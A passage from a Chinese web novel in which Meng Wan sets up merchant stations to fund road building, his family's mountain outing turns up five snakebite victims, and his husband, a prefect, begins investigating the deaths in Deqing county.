唐妗霜一瞬间扳起脸,压着嗓子训斥,“我和夫郎一起见余员外是为了谈生意!” 余彦东扭扭捏捏的凑过来,“那不也算见了长辈嘛。” 唐妗霜多冷的一个人,也被逼得额头青筋横跳又无可奈何,“我比你大三岁!” 余彦东眼睛一亮,反倒更兴奋了,“老祖宗说:哥儿大三抱金砖,三岁岂不是正好!” “咳!”雪生在一旁险些将嘴巴里的糕都喷出来,神他娘的哥儿大三抱金砖,哪个老祖宗说的? PC站点如章节文字不全请用手机访问 第28章 商站 “你想组建商队?”还是珍罐坊外面的亭子里,祝三爷一边望着面前三座巨型工坊,一边同孟晚说话。 “准确的说不是我组,而是小余。”孟晚叫来余彦东。 余彦东做为余家这个老牌商号的少东家,半点架子全无,客客气气的对祝三爷揖了一礼。 孟晚对他的表现极为满意,同祝三爷介绍说:“他们余家是西梧现在最有钱、有号召力的商户。” 就这一句,祝三爷便明白了孟晚的意思。这小子办事,其余人自然会看在他爹的面子上给他些面子。再来有个本地人掌权,其中诸多方便之处。 祝三爷问:“可是要我带带他?” 孟晚不和祝三爷客气,他理所当然的说:“让三叔带他跑跑买卖是肯定的,但我说的商队和三叔以为的还不是一种。三叔知道驿站的营生之道吧?” 祝三叔诧异的问:“驿站?禹国的驿站是每八十里一座,最快可日行三百里。官员倒是可以凭“符验”使用驿站资源,但这与我们这样的商户又有何干系?” 禹国驿站的主要用途还是用于传递信件、军情、以及运输军需。不管途中有无人烟,都要立上一座,而且无人敢劫。因为今日敢有山匪抢劫驿站,明日最近的兵营便会踏平附近所有山头。 孟晚有宋亭舟这个知府在,知道西梧府乃至整个岭南修路是近三年的大趋势。路方便了山民百姓,使他们得以走出大山,但最受益匪浅的绝对是商人。 受宋亭舟影响,孟晚思考问题的时候,总是多从底层角度去看待问题,“若商人运送货物的时间可以变得更短,路耗更少,多出这部分便能多给果农提上两分。” 祝三爷笑了,这时候难免觉得孟晚有些妇人之仁,“恐怕到时候大家想的是如何将这份钱赚到自己口袋,怎么会主动给果农抬价呢?”他也是商人,扪心自问自己也会如此做派。 孟晚不太担心这些,等以后路通顺了,商农相互往来,他从中把控一二,商户们不给果农涨价都不行。 “三叔去糖坊的时候,觉得赫山现在的路如何?”孟晚又说到路上。 赫山县的路起码修建完成了一半,这个一半可不光是官路和城镇,还有赫山辖内大大小小的村庄吗。 因为赫山刚缓过来几年,所以县衙内存银不多。可赫山村庄的村民们有钱,家家户户都出钱出力,再加上糖坊的利润有一半也用在修路上面,因此道路建的飞快。 大家伙把修路当作本村脸面,生怕邻村超过自己,最先富裕起来的红山和红泥两村,恨不得把村口的路修得比官路还宽。 祝三爷这回过去糖坊取货,自然见识到了赫山县的变化,可以说他每年来,都会被震惊一回。 “说句不夸张的,赫山已经快要比拟江南一带的县城。不过才一年而已,街道上便商铺林立,百姓在街上穿插行走,一片欣欣向荣。那路比京城的还平缓宽阔。” “我想修一条直通盛京的路。”孟晚一脸平淡的说。 祝三爷:“……”他怀疑自己听错了。 “你可知从西梧府到盛京城足有四千三百里!恨不得将国库都掏空大半,劳民又伤财,才能修得完,你拿什么修?”做为一个常年三地跑商,横跨南北的行商,祝三爷最有资格说这番话。 孟晚从来都不是个自大的人,他细细诉说,“我一己之力定是不行的,可若是千千万万个商户帮我呢?我在县城和镇上之间修建商站,仿照从前四爷那般雇佣好手帮商人押送货物,收取佣金,以商站营收的一部分用来修路。” 祝三爷不解,“那和镖局又何区别?镖局昂贵,我们商人宁愿自己组建商队跑商,也不愿多花这笔费用雇佣他们。” 孟晚放慢语速,反问道:“若我建的商站,费用只比他们自己运货高一成呢?三叔觉得他们是费力自己组建商队,还是用现成的?” 祝三爷更糊涂了,“这……高出一成来,你还有得赚吗?” 孟晚让黄叶奉上纸笔,在纸笔上写写画画一番,如老匠人打磨玉器般,每个细节都碾碎了揉开讲,详细给祝三爷讲解了一通。 首先镖局押镖之所以价格昂贵,是因为三点。 一:人力成本高。找镖局的人大部分都是长镖,最少路程也要十天半月,长达三月五月的更是常态。二三十号镖师,一趟买卖耽误这么长时间,便是按天收费,也是该付人家这么多钱的。 二:风险成本大。押镖的时候,特别是给商户押镖,货物值钱,商人也不差钱,这种情况下极有可能被山贼、土匪抢劫,甚至丢了性命。若货物丢失、或者损坏,大型知名镖局还要赔损,这也是雇佣镖师,价格昂贵的原因之一。 PC站点如章节文字不全请用手机访问 三:装备食宿开销。镖师们长途跋涉,马匹、武器,都要配备。最主要的是路上食宿和打点关卡的银钱,零零散散加在一起,又是一大笔的费用。 祝三爷深知这些钱比比都省不了,所以才更好奇孟晚的商站是怎么赚钱的。 “我打算像驿站一样,在西梧府和盛京城之间的县城、镇子里,建立商站。每座商站之中都雇佣人手,备养马匹车辆。” 孟晚手中漆黑的笔墨开始无意识在纸上涂抹,“若每次人员出行最多不超过三天,那起码会降低六成的成本。” 祝三爷终于听懂了,“你是说把交付给你们商队的货物,以借力形式从这个商站,运输到下个商站去?” 孟晚点头。 祝三爷眼睛缓缓瞪大,越想越觉得这个主意似天马行空,但落实下去又十分有理有据。 半晌后,他嗓音干涩的说:“三叔也想跟你干一票,大侄子你说成不?” —— 有祝三爷这个走南闯北的老油条带路,孟晚建商站的计划就更多了层把握。建商站是个相当长远的计划,孟晚的打算是边修路边建商站,没钱了就等等后续商人发力。 西梧府率先在靠近南城门的地方建起来一座,平常就由余彦东全权打理,孟晚敢用人,也不怕用新人。这种魄力,是许多瞻前顾后的老油条所没有的,年轻的商人把他当偶像一样敬着。 从三月开始,孟晚又恢复连轴转的模式,甚至比从前更忙。那些商户有的承包了山头,有的打算直接在工坊买成品运输到盛京城卖。这些商人头次与工坊签订各类订单,需要孟晚这个东家把关,不然唐妗霜再能干,也没有相应经历,在那些老油条面前有些不够看。 西梧府的几座商站初建,招揽人手,购买马匹等杂事,说大不大,说小孟晚还有些不放心。 但用余彦东的好处便是,他爹余汖知道儿子被孟晚重用,悄咪咪的帮了不少的忙。 孟晚这头忙活正事,那头还要不留余地的给合作的商人画大饼。 “黄员外,你若是入了咱们商站的股,我一分钱都不赚你的,而且你以后就是咱们西梧商站的贵宾。每次使用商站运送货运,我给你家让利两分。” “对,不用你掏一文钱,就能成为贵宾!” “但是嘛,需要你为咱们商站做些小小的建设。” “往后你家货物,每次用商站运送,需要抽出小小的一成出来,用以商站铺设道路,路好走了咱们运货也更平顺啊!” “龚员外,你也要办贵宾啊!好好好,这边请,妗霜,你给龚员外登记一下。” “李掌柜,你看到了吧,我们这次名额有限,你要是不抓紧,免费的名额就满了,后续再办贵宾卡可是要收费的。” 孟晚说的嗓子冒烟,他喝了三壶茶水,上了五趟茅厕。等晚上宋亭舟来接他的时候,整个人都瘫在他身上不会动弹了。 宋亭舟将车帘放下,调整了一下坐姿让他靠的更舒服,“明日便在家里歇息半日,嗯?” 孟晚闭着眼睛哼哼两声,“不行~我起码还要再去五六天。等这波热乎劲过去,妗霜也能处理好了,我就在家好好歇上几天。” 宋亭舟摸了摸他疲惫的脸颊,眼底流露出一丝心疼。 见他沉默不说话,孟晚在他怀里蹭了两下,“就几天而已,忙完了我带娘和阿砚去山上采菌子去。” 宋亭舟声音温柔,“好,我陪你们。” 孟晚在马车上睡着了,下车的时候是宋亭舟抱下去的。阿砚跑过来被楚辞制止,他飞速对弟弟比划几下,阿砚便捂住自己嘴巴,用细微的气音说:“哦哦,我知道了,不去吵阿爹了。” 吃饭的时候孟晚也不在,常金花到厨房给孟晚留了饭菜,夜里被宋亭舟取走端进房里。 第二天一早宋亭舟先送孟晚出城,后回府衙同下属商量事宜,说是商量,但现在的府衙基本上是宋亭舟的一言堂。 PC站点如章节文字不全请用手机访问 一炷香后,乔经历领着几个小吏,上文书和官印跑去珍罐坊宣布同孟晚的商站合作,他们在珍罐坊外张贴文书,上述只要修路出力者,均可在府衙挂上名号,日后每百里路便设一石碑,碑上按出力多少排序刻名。 诱惑力不算太大,但西梧的商人们早就决定要在孟晚的羽翼下乘凉,写不写名,还没有孟夫郎承诺让那两分利钱让人心动。锦上添花罢了。 但此举之后,乔经历和衙门的小吏便可以明目张胆的帮孟晚分担一二。 面对衙门的人,商人总是下意识礼让一分,不敢耍什么滑头,问些虚话。如此一来孟晚少操了一份心,不似昨日那般疲惫不堪。 一连去工坊报到五日,乔经历才带着小吏回府衙找宋亭舟复命。大部分有先见的商户都已经同孟晚签订了文书,剩下些小商贩留给唐妗霜练手,至此孟晚终于暂时空闲下来。 他先是在家不分昼夜的胡睡了一天,等爬起来的时候,外面天边连接房顶的地方,已经被残阳染上橘黄色的暖光。 他和宋亭舟的院子里静悄悄的,大家可能是吃晚膳去了。 孟晚浑身骨头都睡得酥了,不想下床但肚子又饿,趴在被子上发了会儿呆,房门外传来微不可察的脚步声。 “夫君~” 脚步声加快,宋亭舟背着光推门进来,昏黄的日光衬得他冷峻的脸上,线条都比往日柔和了不少。 “醒了?饿不饿?” 孟晚有气无力的说:“饿,都快饿死我了~” 宋亭舟进来拧了张湿帕子给他擦脸,问道:“想吃什么?厨娘做的还是要娘做的?” 孟晚抬脑袋闭眼睛配合他轻柔的擦拭,“你们刚才吃的什么?” 宋亭舟帮他擦完脸又擦手,“菌菇肉丁和土豆肉丁的打卤面,还有几样小菜。” 孟晚咽了口口水,“我要吃菌菇肉丁的!还有吗?” 宋亭舟淡定的回他,“我这就叫厨娘再下两碗,还想吃什么,如意楼的蟹生方要不要吃?” “要!” 宋亭舟浅笑一声,又问:“他家的盐焗鸡也不错,要不要?” “要要要!”孟晚的口水都快收不住了。 两刻钟后宋亭舟提了食盒从外面回来,孟晚这会儿已经从床上挪到了榻上,还是没什么精神的样子,斜倚着抠弄自己的玉佩玩。 闻到食物的香气他才勉强坐直,“快快快,我感觉我现在能吃一头牛!” 软塌上有小矮桌,宋亭舟先将面条和卤子放到桌上,接着是从酒楼买回来的蟹生方和盐焗鸡,再加上一碟常金花腌的酸笋。 孟晚接过宋亭舟帮他拌好的面条,觉得自己就差对方手把手的喂他了,堪称八级瘫痪。 不过他也饿得顾不了那么多,夹起一筷子面条就往嘴巴里送,“唔唔唔……好次!” 宋亭舟哭笑不得,“慢些吃,明天还想吃什么,我还去给你买回来。” 孟晚一口面条一口蟹肉,一口面条一块鸡肉,吃的无比满足。 PC站点如章节文字不全请用手机访问 第29章 踏青 西梧府北郊有座宝秀山,半山腰的位置盖了座寺庙,香火一般,庙里的和尚吃不饱饭还总去城内化缘。但寺庙前方有一大片空地非常适合带娃,孟晚叫上苗家的白薇和阿寻一块出来玩。 雪狼久不出门,一朝被带出来放风仿佛鱼入大海,嗷嗷叫着就跑没了影。 众人也不管他,总归不会跑远,一会儿叫一声就会跑回来。 “雪生,把竹席铺到这头来,这边有树荫。”孟晚招呼拿席子的雪生。 宋亭舟提醒他,“晚儿,树上有虫。” “啊!我忘了,拿这边放吧,宽敞又凉快。”孟晚又小跑着找了处野草生得矮的。 楚辞挎了个小包追过去,仔仔细细在周围散了遍药粉后,才对雪生点点头。 孟晚特意让人给编的凉席又宽又大,铺在草地上能坐的下十五六个人。马车不能上山,常金花爬上来累的够呛,先行坐在垫子上休息。 “老了,身子骨不行了。”常金花感慨。 孟晚不爱听她这么说话,“娘,你才四十九,还不到五十岁呢算什么老?旁人家谁四十九了还开铺子卖吃食?” 常金花笑了起来,眼尾的褶皱都显得比曾经柔和不少,“娘都快到知天命的年纪了,如何不老?时间过得真快,一晃你来宋家都十年了。” 宋亭舟一愣,“十年?” “雪生来咱们家也快九年了啊。”孟晚没觉得时间流逝的多快,反正他每天过得都很开心充实。和宋亭舟、常金花在一起,酸的甜的都是好的。 白薇和阿砚蹲在前面空地上拿木棍挖土玩,黄叶寸步不离的跟在她们身边。雪生抱着臂,看的方向也是阿砚,可心中却是一暖。他不想回忆前二十几年在戏班子里受到苦难,脑海中闪过的画面都是在宋家的点点滴滴。 从大人将他从井里背出来后,他这条命就是大人和夫郎的了。 一家子坐在竹席上谈天说地,常金花可能年纪上来了,格外喜欢看小辈成双入对,她望向双双背着背篓进山的楚辞和阿寻,“晚哥儿,你说小辞今年也十六了,是不是该给他说亲了啊?你十六的时候都和大郎订婚了。” 宋亭舟忆起他们订婚时的青涩感情,耳根泛起一片淡淡的红晕。 孟晚本来在剥花生吃,闻言好险没呛到,“咳咳……娘!我们那会儿情况不同,小辞还小着呢,不急不急。” 宋亭舟极为顺手的帮孟晚拍了拍后背,“娘,晚儿说的有理,男儿志在四方,再晚几岁不算什么。” 岂料常金花没放过任何人的打算,“雪生,你又是怎么想的,你可都三十多了,这可不算小了吧?我看唐管事人不错,长得也秀气,要不婶子去给你提亲?” 雪生没想到吃瓜会吃到自己身上,脑袋迅速摇了几下,“老夫人,我此生不成亲,就在家里跟着大人和夫郎,他们去哪儿我就去哪儿。” 常金花小声嘟囔,“一个两个都这么说,你们是不知道找个知冷知热的人有多好,大郎和晚哥儿不是就挺好吗?”听她话里的意思,可见不光小辞和雪生,黄叶肯定也被他问过。 孟晚剥了把花生给她,“娘,我们都知道你是好心,但叶哥儿你还是别劝了。他摊上那么个畜生一样的亲爹,爷奶大伯也没有一个好人,小时候日子过得苦,得来日他自己想通。” 他毕竟是现代人,思想更为开放,雪生不说,黄叶也是受了他的一点影响。 咽下宋亭舟投喂给他的核桃仁,孟晚继续说道:“其实叶哥儿便是不成亲,今年年底槿姑也服满刑期了,他们母子俩日子和和美美也已经很幸福了。” 常金花长叹一声,“叶哥儿命苦,人也知恩,是个好孩子。”她私心还是希望黄叶能找个好人家,最好能接纳槿姑一起过日子。但孟晚劝了后她也明白过来,若是总对黄叶提及,怕是会让他回忆起那糟烂的一家子,还是随他吧。 “娘,我们去附近走走,你要是无聊就去庙里转转。” 宋亭舟不知在哪儿买来的核桃,还挺好吃。孟晚又让他给自己砸了几个,剥成果仁也放在和楚辞差不多的小布兜里,里面还装上两把炒花生,起身和宋亭舟去周边溜达。 宝秀山不算太高,因为半山腰寺庙中住着僧侣,所以山中有被规整踏平的小路。 孟晚和宋亭舟穿着便于行走的短衫和长裤,一前一后从小路上溜达。 PC站点如章节文字不全请用手机访问 “给你。”孟晚把小包里的核桃花生掏出来一把给宋亭舟。 宋亭舟接过去自己没吃,反而剥了一把果仁投喂给自家夫郎。 “三叔暂时留在岭南,那他手上拿的糖怎么办?” 孟晚反喂给他一块核桃仁,“今年他在糖坊拿的货少,说要带着小余往北走走,把东西零散卖出去,算是带他认认路。” 宋亭舟道:“余家人舍得?” 孟晚满不在乎的说:“反正老余同意了,我管余家人舍不舍得呢,把人放到我这儿就按我的规矩办事。我管工坊就够累了,难不成还帮他们管孩子?” 宋亭舟摸摸他的头,“若遇到为难的事,就让雪生去府衙找我。”爬到现在官居五品的位置,再让旁人如昌平一般欺负自己夫郎的话,就是他的问题。 孟晚笑盈盈的望向他,左右看看,四周寂静无人,只有飞鸟清脆的鸣叫,和爬虫在树林里制造的轻微声响。 对着宋亭舟勾勾手指,在对方略带疑惑的目光中勾着他脖颈主动凑上去亲了他一口。 宋亭舟瞳孔骤然收缩,他和孟晚在外顶多拉拉小手,拥抱便已经算是出格的了,这……这! 然而他眼里的震惊只闪过一瞬,下一秒脑子还没做出反应,身体已经先一步熟练揽住孟晚,低头准确无误的含住他微微翘起的唇珠,再侧过头微微张口与他深吻在一起。 孟晚笑意更深,他阖上双眸,专心致志的回应宋亭舟热烈的亲吻。 他前一阵子忙着工坊的事,这几天宋亭舟又体谅他辛苦,想让他好好休息。两人一朝亲密,都有点收不住,直到孟晚腰间一凉,感到有什么冰冰凉凉的东西钻到他腰上。 “嗯……嗯?有,有蛇!!!”孟晚惊叫一声,飞速退出宋亭舟怀里转身背对向他。 幸好宋亭舟反应的也够快,干脆利落的掀开他上衣,捏住一条肥硕的花蛇就摔了出去。 “你没事吧?” “你没事吧?” 两人同时开口,双双安下了心。宋亭舟趁这会儿没人,撩开孟晚衣角又仔仔细细的检查了一遍,确认过他光滑白嫩的后背上没有半点伤痕后方定心。 这么一闹,他们也亲热不下去了。回到空地处黄叶已经把从家里带来的点心瓜果都摆到竹席上,孟晚仔仔细细检查了周围一圈,见药效极强,不光没有毒蛇蚊瘴,甚至连蚂蚁都绕着走,暗自点头,不亏是他干儿子。 “一会儿小辞回来了,再找他要两个药包放在身上戴着。”孟晚现在还有些心有余悸。 常金花还不知道他差点被咬的事,笑话他说:“走的时候小辞说给你挂个药包,你自己不愿意,这会儿知道找他要了?” 孟晚懒得往身上叮叮当当的挂东西,也就是宋亭舟科考的时候给他买的双鱼玉佩一直被他拿来押襟,这会儿听常金花说他,不免有些心虚。 “咳……山上蛇虫多嘛,娘你喝不喝奶茶,用琉璃罐子装的是少糖的。”他迅速转移话题。 晌午的时候楚辞和阿寻各背了一篓子的药材回来吃东西,雪狼是楚辞养大的,这会儿还没回来他有些担心,便让雪生帮他喊回来。 雪生对着山林里喊了一嗓子,远处的山谷处便传来一声清晰的狼嚎,但过了一会儿,雪狼仍是未归。 楚辞从竹席上起身,他怕雪狼是掉进了猎户的陷阱里。 阿寻也跟着他起来,“我陪你去看看。”他俩从十二岁相识,算是竹马之交。楚辞刚到宋家的时候只有阿寻能看得懂他的手语,宋亭舟和孟晚又忙,楚辞多数时候都待在苗家,因此他和阿寻的关系比旁人更加亲密。 宋亭舟怎么也不会看着两个孩子去探险,便带着雪生也一同前往。 过了一会儿孟晚他们却只见雪生一人回来,而且脚步十分急促。 “夫郎,雪狼在山里刨出来一具尸体!” PC站点如章节文字不全请用手机访问 …… 雪狼在山里用爪子挖出来一具死尸,等楚辞率先找过去的时候,他还在用嘴巴啃。见楚辞宋亭舟几人过来,才忙不迭用爪子往死尸胳膊上刨了两捧土,试图遮盖住自己的咬痕。 雪生震惊的看着那具面泛青紫的尸体,“大人,这……” 宋亭舟沉下脸色,“去府衙叫人,将仵作带来现扬验尸!” 出了这事,孟晚先把常金花带离宝秀山。仵作和捕快被雪生从衙门叫过来的时候,孟晚他们已经回了家。 “大人,死者为男,约莫三十五到四十五岁之间。身上并无其他伤痕,也不是溺死或是被人蛮力打死。只在脖子上发现两个细微的孔洞,到像是被毒蛇咬伤后毒发身亡的。”仵作经验还算老道,很快判断出死者的死因。 宝秀山附近有寺庙与村庄,适宜人开采居住,虽然岭南多瘴气毒虫,可从未听过宝秀山上有什么毒蛇毒虫。 宋亭舟望着深山密林邃处,眸色深不见底,他吩咐以陶八为首的捕快们,“周围再详细勘察一番,看看有没有可疑之处。” 捕快们四散开来,连雪狼也被派了出去,结果半刻钟后,他们竟然又在林子里发现了四具尸体。 一共五具尸体均被捕快运回衙门,宋亭舟找来莫名其妙升职成同知的杜同知,询问他近来接收到有人报案失踪等。 他在府衙公务繁忙,有许多杂事下面人会先递到杜同知那里,杜同知再捡紧要的送至宋亭舟桌案上。 在杜同知找诉状的时候,宋亭舟已经撩开绯红官服的衣摆,蹲在被摆放在木板上的尸体前,他把粗麻布掀开,一点点的将视线上移到尸体的脖颈处。 五具尸体无一例外,脖颈处全都有两个细小的孔洞。 “小辞,你过来看看。”宋亭舟叫上楚辞,论用毒,对方是这方面的行家,有毒没毒,他轻易就能分辨。 楚辞挨个翻看了五个死者的眼睛和口鼻,再用银针刺穿伤口处,向宋亭舟确定了仵作的推断。这五人,确实是被毒蛇咬伤后毒发身亡,只是他暂时不能确定是哪种毒蛇之毒。 普通毒蛇的毒量只能毒死一到两个成年人,这五人看上去死亡时间非常接近,如此一来应当是多条毒蛇,或者是一条剧毒无比的蛇。 “大人,三天前,确实有两起失踪案。”杜同知小心翼翼的捧着两份诉状过来,生怕宋亭舟责问。这两份状纸被他压在其他公务下面,当做不紧要的公事,还没来得及处理。 宋亭舟果然冷冷的瞥了他一眼,“我举荐你坐上同知的位置,是因去年见你在府衙做事还算勤恳。一府之同知责任何其重要,你若是坐不稳这个位置便自请降职吧。” 杜同知闻言顿时如坠冰窖,拿着状纸的手不断颤抖,连同他的声音都变得断断续续,“宋大人……大人恕罪!下官知……知错,还请大人责罚。”要是在同知的位置上还没坐稳半年又被掉下去,他这辈子都不会爬的起来了! 宋亭舟接过他手中的状纸,声音冷酷,“七天内将西梧府这两年的所有状纸都看上一遍,重新登记在册。” 杜同知傻了眼,“七……七天?” 宋亭舟将视线从状纸移到他身上,“杜通判可有异议?” “没有没有,宋大人,下官这就去看。” 他走后,宋亭舟继续看手中的两份状纸,这时外面有书吏又捧了张状纸进来。 “大人,有人报案称家中父亲已经失踪几日未归!” PC站点如章节文字不全请用手机访问 第30章 德庆县 三个有家人报案的死者都是德庆县人,除了今日刚才报案的,剩下两家自报案后都逗留在府城的客栈里。 被捕快传唤到公堂后,他们只一眼便能认出,躺在地上再无生息的尸体,便是自己朝夕相处的亲人。一时间悲戚的哭喊声萦绕整个府衙公堂,使本来明朗的天气染上了一层挥之不去的阴霾。 天气逐渐回暖,气候又格外潮湿,尸体就这样放在衙门恐怕很快就会腐烂。既然已经清楚了死因,宋亭舟便让他们各自将亲人失踪的细节,以及近期是否与人结怨都说了个一清二楚,然后随他们将尸体都各自领回家中安葬。 下衙后他将小吏记下来的口供都拿到家里仔细翻阅,连晚饭都是匆匆吃了几口。 孟晚捡了一小筐常金花烙的小肉饼拿到书房,肉饼都是烙的巴掌大一块,大葱拌着鲜肉,外皮烙的酥酥脆脆,一口咬下去还能吃出肉汁,格外的咸香焦嫩。 “不吃饱怎么干活啊?我帮你垫张帕子,你边吃边看。”孟晚拿了块干净的素帕包着肉饼递给宋亭舟。 他和宋亭舟都是从普通百姓过来的,没有太多讲究,管他在卧室吃还是书房吃,人不饿着就成。 宋亭舟接过肉饼的时候触及孟晚温热的指尖,仿佛自己的心也被这淡淡的暖意熏热了。 孟晚搬了张凳子就坐在宋亭舟旁边托着腮注视他吃东西,惹得对方紧绷的眉眼舒展开来,宋亭舟弯唇一笑,“怎么?” 孟晚摇摇头,“没事,你吃吧,要不要喝水?我去给你倒吧。” 他也不等宋亭舟回答,自顾自的倒了杯水来,作势要喂宋亭舟。前些日子他忙的时候宋亭舟便是这般照顾他的,这回也轮到他照顾宋亭舟了。 “晚儿,不用。”宋亭舟三两下吃完一块肉饼,就着孟晚的手喝了口温水。 “那你渴了自己喝,我不喂你了,免得不小心把水打翻到你桌子上。”孟晚将茶杯放好,指指宋亭舟桌子上的纸张。 宋亭舟用右手将纸张递给孟晚一张,左手又拿起慢慢的啃,“今天在宝秀山共找到五具尸体,其中三具都有家人来府衙认领,竟都是德庆县人。” 孟晚看着手上的供词,猜测着说:“那没准剩下两人也是德庆县的,只是德庆县的人,怎么会死在西梧府郊外的山上呢?” 宋亭舟沉吟道:“有可能是远地抛尸,但毒蛇咬死人,一咬便是五个,又是谁将尸体掩埋起来的?” “那蛇没准就是抛尸的人养的,便不是他养的,这几人的死也定与那人有关!”孟晚思忖道,要不然难道是闲的没事干,看到尸体不报案,反而偷偷埋起来吗? 两人又讨论了几句,但目前线索太少,光靠猜想还是没有什么头绪。宋亭舟把饼子都吃光,又刷牙洗漱了一番。 白日里两人都亲的有些热切,夜里在床上躺下,免不了又纠缠到了一起。 透过帷帐的缝隙能看到宋亭舟裸着胸膛,结实的臂膀撑在孟晚两侧,每一块肌肉都随着动作自然起伏。 他身上紧密的皮肉透着健康的光泽,放松时又变成优美的线条,蕴藏着随时能爆发的力量。上覆着一层莹润的水光,每一次运动都像是在演绎力量与美学的融合。 孟晚难耐的仰着脖颈,宋亭舟动作狂野而急切,亲的他都快招架不住了,脖颈上全是对方留下密密麻麻的暧昧痕迹。这会儿宋亭舟又不是白日里成熟稳重的宋大人了,仿佛是头比雪狼还野性难服的饿狼,可见前些日子还是饿得狠了。 搬家时定制的大床虽然结实,但从外间还是能听见某些要命的响动。闹到深夜,宋亭舟才穿着亵衣亵裤去厨房提了两桶温水回来。 孟晚迷迷糊糊的随他收拾,半梦半醒的时候,仿佛听见了一句。 “明日我可能要去德庆县亲自走一趟。” 第二天他醒来的时候,果然床边已经没了宋亭舟的身影。 “黄叶!”他哑着嗓子喊了一句。 “欸!”黄叶小跑着进来,“怎么了夫郎?”他在外面晾被褥,开春暖和了之后雨水便不要钱的下,整日极难见到太阳。好不容易赶上晴天,家里的被子褥子席子,都要搬到外头晒上一会儿,不然晴日下一瞬便会变成乌云蔽日。 孟晚先猛灌了一杯床头放着的茶水润了润嗓子,然后才询问道:“大人是去衙门了还是出远门了?” 黄叶不知他为何有此一问,“大人吃过早饭就去衙门了呀?并没说要出远门。” PC站点如章节文字不全请用手机访问 孟晚了然,那就是还没走。 “你去吧,我再睡一会儿,若是大人一会儿回来收拾东西,记得叫我。” “知道了夫郎。”黄叶将窗户各开了一条缝隙,让外头的风能吹到屋里,放缓脚步轻轻带上门离开。 孟晚在床上闭目躺了会儿,骤然听到外面黄叶生气的低声抱怨,“真是的,怎么又阴天了啊!我刚把被褥都搬出来……” 后面他声音更是低不可闻,想必是在忙着干活。 孟晚没睁眼睛,过了会儿果然传来雨打房檐的滴答声,吵得他再也没心思睡觉,干脆爬起来洗漱一番,然后帮宋亭舟收拾行李。 德庆县离府城说远不远说近不近,来往怎么也要耗费十天。唯一庆幸的是没赶上夏天高温的时候去, 这会儿虽然雨水多些,但还没到热得难受的时候,去年全家人赶路差点没去了半条命。 宋亭舟安排好府衙内的事宜,又不轻不重的敲打了杜同知一番,对方升迁的速度之所以这么快,杜家人应该心知肚明才是。 一是岭南偏僻,少有人愿意被调任过来,二是宋亭舟与他相处一年,不想再换下属磨合,有意提携他跟着自己干。 否则没有宋亭舟的提携,杜同知怎么可能才任一年通判就随着宋亭舟官升五品?上面都是看在宋亭舟的面子上罢了。 宋亭舟不是个拖拉的性子,府衙的事交代完便立即回家准备收拾行李,把油纸伞立在门外庭廊下,抬眸便见孟晚已经给他收拾好了两大包衣物和一箱子零碎物件。 孟晚回身看他,“也不知你要去几日,还是多带些衣物吧,最近天气那么潮湿,衣服洗了也不见得能不能晾干。” “夫郎说的有理。”宋亭舟走过来帮他一起收拾。 孟晚把包袱递给他,“这次过去,既然是有毒虫伤人,就把小辞也带去吧,他没准能帮上些忙。” “那让雪生去叫小辞一声。”宋亭舟一人备了两个包,提上一个竹编的箱子,只让孟晚替他拿伞。 孟晚跟着他走在廊下,“我那会叫黄叶去叫小辞了,这会儿他应该在门房中堂等你,一会儿再叫雪生从库房搬两箱果珍罐到马车上,还要带几包藕粉,这些东西带到路上还不容易吃坏肚子。” 宋亭舟听着他叮嘱的话语,时不时附和两声。两人走到中堂时,楚辞果然已经在里面等候多时,应孟晚的嘱托,还带上了雪狼一同前往。 雪生将罐头等物装好车,宋家大门外面是陶家兄弟等十来号捕快,他们全都穿着蓑衣牵着马匹。陶十一自发跳上宋家的马车,接过雪生手里的马鞭,“孟夫郎,雪生哥,我们这边出发了!” 孟晚在大门处目送他们,“去吧,雨天路滑,路上一切小心。” “是,夫郎放心吧!”陶十一轻快的扬鞭声渐行渐远。 离别总是沉重的,特别是现在连个电话都没有的时代。好在孟晚修建好了商站,宋亭舟前脚刚到德庆县,孟晚的家书后脚便送到了他手中。 陶十一啧啧称奇,“孟夫郎这家书是大人刚走就写的吧?” 宋亭舟温柔的抚了抚信纸,“不是,是两天前写的。” 陶十一瞠目结舌,“两天就到了?比驿站还快吗?” 孟晚的商站主要还是以运送货物为主,与驿站并不冲突,可东家的信自然想什么时候送就什么时候送。 等商站有一天真的开到盛京去,之前那种被旁人拦截信件的事便再也不会发生了。 宋亭舟将信纸妥善放好,接着开始吩咐属下,“先不要去县衙惊动当地县令,找个客栈住下再说其他。” “是,大人。” 他们在客栈里休整了一晚,第二天先找到被雪狼啃了几口胳膊的那家人去。 PC站点如章节文字不全请用手机访问 那户人家姓杨,死者叫杨泰,杨泰上无爹娘,夫郎又早逝,只有个儿子和他相依为命。 “我爹脾气很好,平日极少与人结怨,我阿爹走后他也再没续过弦,一心一意将我养大。他年轻的时候因为我,不能像其他汉子那样外出务工,所以我们家日子过得很穷。好不容易我娶了媳妇,还没来得及孝敬他……他又突然……”杨泰儿子对父亲感情极深,说说的便泣不成声。 宋亭舟环视一圈杨家的院子,一进大的院子说不上大,但是是在德庆县较好的地段,出门就是主街,想买点什么都方便,周围邻里和睦,不是什么市井繁杂之地。 杨家刚办了丧事,按理来说杨泰的亲眷极少,应当是少有人来祭奠的。可院里没撤下去的桌椅有好几套,前几天起码接待了三四十位客人。 “你家现在可是颇有家底,做的是什么营生?”宋亭舟突然问道。 杨泰儿子半滴眼泪还挂在眼睫上要掉不掉,闻言一愣,“前两年赫山县建了座糖坊,我爹带我去糖坊进散货回来,然后在乡下走街串巷的卖糖。” 宋亭舟锋利的面容软化了几分,杨家父子原来是被糖坊带动起来的小摊贩,那就不足为奇了。 他们父子俩都是能吃苦耐劳的,俩人从赫山进回蔗糖后,分别挑着摊子去乡下卖糖。冬天杨泰还买了两袋粮食同村里会做炒米糖的老妇人学了一手,第二年便攒钱在县城里租了个铺子,父子俩卖起炒米糖来。 赫山糖坊的糖价便宜,只是离德庆县远。哪怕是有了炒米糖的铺子,杨泰每年还是会去糖坊进上一批糖回来,儿子在铺子里卖炒米糖,空闲时候他仍自己下乡挑担子去卖糖。 靠着能吃苦,杨泰在县城买了宅子,又给儿子娶了媳妇。前些日子失踪也是挑着糖出去几日未归,杨泰儿子发觉不对,他家富裕起来之后也在县城交了几个朋友,众人将杨泰常去的几个村子都找遍了,就是找不到人。 “现在家里日子好了,我早就劝过我爹,不要再去乡下挑担,他非不听。说是走了大半辈子山路,闭着眼睛都不会出事。怪我,我要是再强硬些砸了他的扁担,他就不会死了。”杨泰儿子说罢又红了眼睛,男儿有泪不轻弹,他也不是爱哭的人,可相依为命的老爹说没就没了,这辈子他心里都过不去这个坎。 